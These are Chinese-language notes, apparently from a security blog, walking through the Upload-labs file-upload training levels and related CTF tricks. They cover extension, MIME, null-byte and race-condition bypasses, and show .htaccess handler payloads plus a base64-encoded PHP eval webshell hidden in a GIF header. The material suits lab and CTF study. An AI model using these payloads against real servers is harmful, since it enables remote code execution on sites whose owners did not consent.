SSTI-Python
文件上传漏洞
- 主体部分的 Upload-labs 很早就写了,参考了当时的一些文章,后来很久没有接触后,发现有些知识点都忘得差不多了,因此有必要对这种专题类的靶场渗透进行总结,防止遗忘的同时也方便以后查询。
1. Upload-labs
1. Pass-1 (前端通过 js 验证图片)
- 前端验证的话,直接禁用 JavaScript 即可。
- 需要注意的是,在实际环境中,如果禁用 JavaScript,网站的某些功能事件可能无法使用,从而导致按钮等事件失效而无法上传文件。
- 因此针对以上情况,目前可行的方案就是(知道文件的上传路径):
- 先将网站的源代码 copy 下来
- 删除其中的 js 验证的部分
- 修改
<form>标签中的action属性,改成被攻击网站的上传路径,这样就可以绕过前端验证将图片上传。
2. Pass-2(MIME 类型验证)
后端仅对 MIME 的类型进行验证,所以修改 MIME 的内容即可。
扩展名 文档类型 MIME 类型 .aacAAC audio audio/aac.abwAbiWord document application/x-abiword.arcArchive document (multiple files embedded) application/x-freearc.aviAVI: Audio Video Interleave video/x-msvideo.azwAmazon Kindle eBook format application/vnd.amazon.ebook.binAny kind of binary data application/octet-stream.bmpWindows OS/2 Bitmap Graphics image/bmp.bzBZip archive application/x-bzip.bz2BZip2 archive application/x-bzip2.cshC-Shell script application/x-csh.cssCascading Style Sheets (CSS) text/css.csvComma-separated values (CSV) text/csv.docMicrosoft Word application/msword.docxMicrosoft Word (OpenXML) application/vnd.openxmlformats-officedocument.wordprocessingml.document.eotMS Embedded OpenType fonts application/vnd.ms-fontobject.epubElectronic publication (EPUB) application/epub+zip.gifGraphics Interchange Format (GIF) image/gif.htm.htmlHyperText Markup Language (HTML) text/html.icoIcon format image/vnd.microsoft.icon.icsiCalendar format text/calendar.jarJava Archive (JAR) application/java-archive.jpeg.jpgJPEG images image/jpeg.jsJavaScript text/javascript.jsonJSON format application/json.jsonldJSON-LD format application/ld+json.mid.midiMusical Instrument Digital Interface (MIDI) audio/midiaudio/x-midi.mjsJavaScript module text/javascript.mp3MP3 audio audio/mpeg.mpegMPEG Video video/mpeg.mpkgApple Installer Package application/vnd.apple.installer+xml.odpOpenDocument presentation document application/vnd.oasis.opendocument.presentation.odsOpenDocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet.odtOpenDocument text document application/vnd.oasis.opendocument.text.ogaOGG audio audio/ogg.ogvOGG video video/ogg.ogxOGG application/ogg.otfOpenType font font/otf.pngPortable Network Graphics image/png.pdfAdobe Portable Document Format (PDF) application/pdf.pptMicrosoft PowerPoint application/vnd.ms-powerpoint.pptxMicrosoft PowerPoint (OpenXML) application/vnd.openxmlformats-officedocument.presentationml.presentation.rarRAR archive application/x-rar-compressed.rtfRich Text Format (RTF) application/rtf.shBourne shell script application/x-sh.svgScalable Vector Graphics (SVG) image/svg+xml.swfSmall web format (SWF) or Adobe Flash document application/x-shockwave-flash.tarTape Archive (TAR) application/x-tar.tif.tiffTagged Image File Format (TIFF) image/tiff.ttfTrueType Font font/ttf.txtText, (generally ASCII or ISO 8859-n) text/plain.vsdMicrosoft Visio application/vnd.visio.wavWaveform Audio Format audio/wav.webaWEBM audio audio/webm.webmWEBM video video/webm.webpWEBP image image/webp.woffWeb Open Font Format (WOFF) font/woff.woff2Web Open Font Format (WOFF) font/woff2.xhtmlXHTML application/xhtml+xml.xlsMicrosoft Excel application/vnd.ms-excel.xlsxMicrosoft Excel (OpenXML) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.xmlXMLapplication/xml代码对普通用户来说不可读 (RFC 3023, section 3)text/xml代码对普通用户来说可读 (RFC 3023, section 3).xulXUL application/vnd.mozilla.xul+xml.zipZIP archive application/zip.3gp3GPP audio/video container video/3gppaudio/3gpp(若不含视频).3g23GPP2 audio/video container video/3gpp2audio/3gpp2(若不含视频).7z7-zip archive application/x-7z-compressed因此用常见的 img/jpeg,image/png,image/gif 三者之一即可。
3. Pass-3(后缀的黑名单绕过)(有使用前提)
源码中,对
php,jsp,asp,aspx四种类型进行了黑名单过滤。因此可以尝试使用别的后缀来绕过。例如针对 php,其常见的其他类型的后缀也当 php 执行的后缀为:phtml,phps,php5,pht。
需要注意的是,这些不常见的后缀,在默认情况下是不支持的,除非网站管理员在
http-conf中启用这些后缀才行。AddType application/x-httped-php .php .php5 ...
4. Pass-4(.htaccess 配置文件)(有使用前提)
在 php 中,
.htaccess文件(或称之为“分布式配置文件”)提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录以及其所有的子目录。其正常的作用就是实现 URL 改写,让所有通过 URL 访问的人被
.htaccess文件带到需要访问的位置。使用前提:
- 在 apache 的配置文件中(
http-conf),将LoadModule rewrite_modules/mod_rewrite.so取消注释,即开启 apache 的 rewrite 功能。 - 还要修改其中的 AllowOverride,改为
AllowOverride all - 可以上传
.htaccess文件且名字没有被改变。
- 在 apache 的配置文件中(
创建
.htaccess文件,修改内容如下:1
2
3<FilesMatch "xxx.png">
SetHandler application/x-httpd-php
</FilesMatch>这样它就会把 xxx.png 文件当作 php 执行。
如果把
.htaccess中的 xxx 去掉,那么它将会把所有的图片都当作 php 执行,这个需要慎用,因为它会妨碍网站业务逻辑的正常运行。
5. Pass-5(大小写绕过)
- 如果网站的采用黑名单过滤且没有强制转换大小写,那么可以使用大小写混合绕过。
6. Pass-6(添加尾部空格)
- 没有过滤尾部的空格,因此抓包,在文件的后面加上空格即可。
7. Pass-7(添加 ‘.’ 绕过)
- 除了更改后缀名,大小写绕过,添加尾部空格,这里就直接添加 ‘.’ 来绕过。
- PS:Linux 中,对于大小写,尾部空格和点都很可能会失效。
8. Pass-8(文件流绕过)
- 在使用 NTFS 文件系统的 windows 中,如果后缀带有
::$DATA时,他会将文件当作文件流进行处理,从而不检测文件后缀。 - 成功上传后,直接访问不带
::$DATA的路径即可。
9.Pass-10(过滤一次)
- 混合双写后缀名即可。
10. Pass-11(%00 截断)
%00在 ASCII 中表示的是空字符,然而在 URL 中,该字符被保留,当出现这个时认为读取结束。使用前提:
- php 的版本要 < 5.3.4
magic_quotes_gpc要为关闭的状态
本题思路:
由于上传的路径可控,因此其路径可以改成:
../upload/xxx.php%00上传图片马,否则无法通过文件验证。
11. Pass-12(Post 传输的 %00 截断)
- 由于上传的路径在 POST 体中,而 GET 请求会对 URL 进行一次 URL decode,但是 POST 不会,因此需要将
%00先进行一次 URL decode 即可。(使用浏览器进行访问时,浏览器会对 URL 进行一次 URL 编码)
12. Pass-13(文件包含漏洞配合文件马)
- 文件包含漏洞将文件当作 PHP 文件执行,因此配合图片马就行。
13. Pass-14(文件头检测 getimagesize() 函数)
getimagesize()方法会对文件的前 8 个字节进行检测,判断是否为文件头。打开 C32,在 php 文件头添加文件头,由于这题只检测前 8 个字节而不判断后缀,所以后缀直接为 php 即可。
或者直接传图片马,配合文件包含漏洞即可。
常见的文件头:
类型 文件头 文件尾 JPEG(jpg) FFD8FF FFD9 PNG(png) 89504E47 AE426082 GIF(gif) 47494638 003B
14. Pass-15(exif_imagetype() 方法检测文件头)
- 和上一个差不多
15. Pass-16(二次渲染绕过)
16. Pass-17(竞争上传)
- 后端逻辑是先将图片上传上去,上传成功后才开始判断后缀名、二次渲染等。如果在成功上传和判断之间访问了该文件,那么它就无法被改动(因为它正在被打开)
- 所以通过 burpsuite 的 intruder 模块,一边连续发送,一边连续访问,直到成功访问未知。
17. Pass-18(白名单的竞争上传)
因为有白名单,所以只能上传图片马,不过其上传后会对其二次渲染,所以必须要在其二次渲染前访问。
结合文件包含漏洞或者 php 解析漏洞。
php 解析漏洞:https://blog.csdn.net/qq_32434307/article/details/79480316
不过,本人在其目录下创建的
1.php.aaa可以当成 php 来执行。
18. Pass-19(move_uploaded_file())
move_uploaded_file()将上传的文件移动到新的位置,但是该函数会忽略掉转后文件末尾的/.- 该题给了一个上传后文件的名字,因此将其更改为
xxx.php/.即可
19. Pass-20(数组绕过验证)
2. LFI 结合图片马的变种
经典的 LFI 结合图片马一般是这样:
1
2
3
4
5#define width 1337
#define height 1337
<FilesMatch "trojan.jpg">
SetHandler application/x-httpd-php
</FilesMatch>将某个固定的图片马直接解析成 PHP 文件。
但是如果对图片马的内容进行敏感词监测,那么此时图片马就会失效,这时就要考虑编码。
直接上新的
.htacces:1
2
3
4
5
6#define width 1337
#define height 1337
<FilesMatch "trojan.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
php_value auto_append_file "php://filter/convert.base64-decode/resource=图片马 URL"多加了一行,
php_value auto_append_file指定文件包含,这样将图片马中的内容进行 Base64 解码。
所以可以直接传图片马:1
2GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==头部后面添加
66,为了满足 Base64 4 位一解码,否则正文部分的编码不能正确解码。例题:[SUCTF 2019]EasyWeb
3. .htaccess 文件使用
参考文档:
Y4tacker 大佬的总结文章:https://blog.csdn.net/solitudi/article/details/116666720
PHP 的配置文件.user.ini的配置选项:https://www.php.net/manual/zh/ini.list.php
Apachehttpd.conf的核心指令文档:https://httpd.apache.org/docs/current/mod/core.html主要的内容以 Y4tacker 大佬的总结文章为主,遇到具体类型题目的注意点时单独记录。
有关
.htaccess文件的语法,一方面参考 Apachehttpd.conf的范围选择(Scope of Directives)和其核心指令;另一方面就是 PHP 的ini设置。有关.user.ini和.htaccess的联系:https://www.php.net/manual/zh/configuration.file.per-user.php:
PHP 支持基于每个目录的 INI 文件配置。此类文件 仅 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。https://www.php.net/manual/zh/configuration.changes.php:当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。
有几个 Apache 指令可以使用户在 Apache 配置文件内部修改 PHP 的配置。哪些指令属于INI_ALL、INI_PERDIR或INI_SYSTEM中的哪一个,请参考附录中的 php.ini 配置选项列表。也就是说,
.htaccess和.user.ini都是可以使用的,如果过滤了.htaccess,那么也可以试一试.user.ini。
3.1 .htaccess 将自身当作 PHP 文件执行
Y4tacker 大佬的文章写明了 PoC。这里主要解释一下本人做题时的思考:
当时在想为什么不能用<FilesMatch>来将.htaccess当成 PHP 来执行?Y4tacker 的 PoC 中,有两个关键的 PHP ini 参数:auto_prepend_file和auto_append_file。详见:https://www.php.net/manual/zh/ini.core.php#ini.auto-append-file
auto_prepend_file:指定在主文件之前自动解析的文件名。included 该文件像是用 require 函数调用的一样,因此使用了 include_path。auto_append_file:指定在主文件之后自动解析的文件名。included 该文件像是用 require 函数调用的一样,因此使用了 include_path。也就是说,每次访问时其会将
.htaccess文件包含过来并解析执行,而使用<FilesMatch>并不会执行(而且一般.htaccess文件是不可访问的)。例题:[羊城杯2020]easyphp。这题还涉及到换行绕过,这里提一下。
Apache 的配置文件语法中,
\同样可以用于标签内部,例如题目过滤File关键字,可以使用:1
2
3
4<Fil\
esMatch>
</Fil\
esMatch>来绕过。本地环境试验过,可以成功。
4. 总结
2.1 验证位置不同
- 在前端检验就关闭 JS 或者 Burp 抓包绕过。
2.2 绕过
2.1 后缀绕过 - 黑名单
- 后缀别名
- 大小写(Linux 下未必)
- 尾部空格(Linux 下未必)
- 加个
.(Linux 下未必) - 双写(针对只过滤一次的)
.htaccess或者.user.ini
2.2 不同系统的绕过
- Windows 下可以使用文件流
::$DATA。
2.3 针对组件的绕过
PHP 5.3.4 和
magic_quotes_gpc关闭状态下的%00截断。Apache 低版本的解析漏洞。
Nginx 的解析漏洞:
2.4 文件马
- waf 判断字符有限,可以垃圾数据填充绕过(如果有文件头检测,别忘了添加)。
- 二次渲染。
- 竞争上传。
2.5 奇淫技巧(偏向 CTF)
- 针对
move_uploaded_file()逻辑绕过。 .htaccess将自身当作 PHP 文件执行。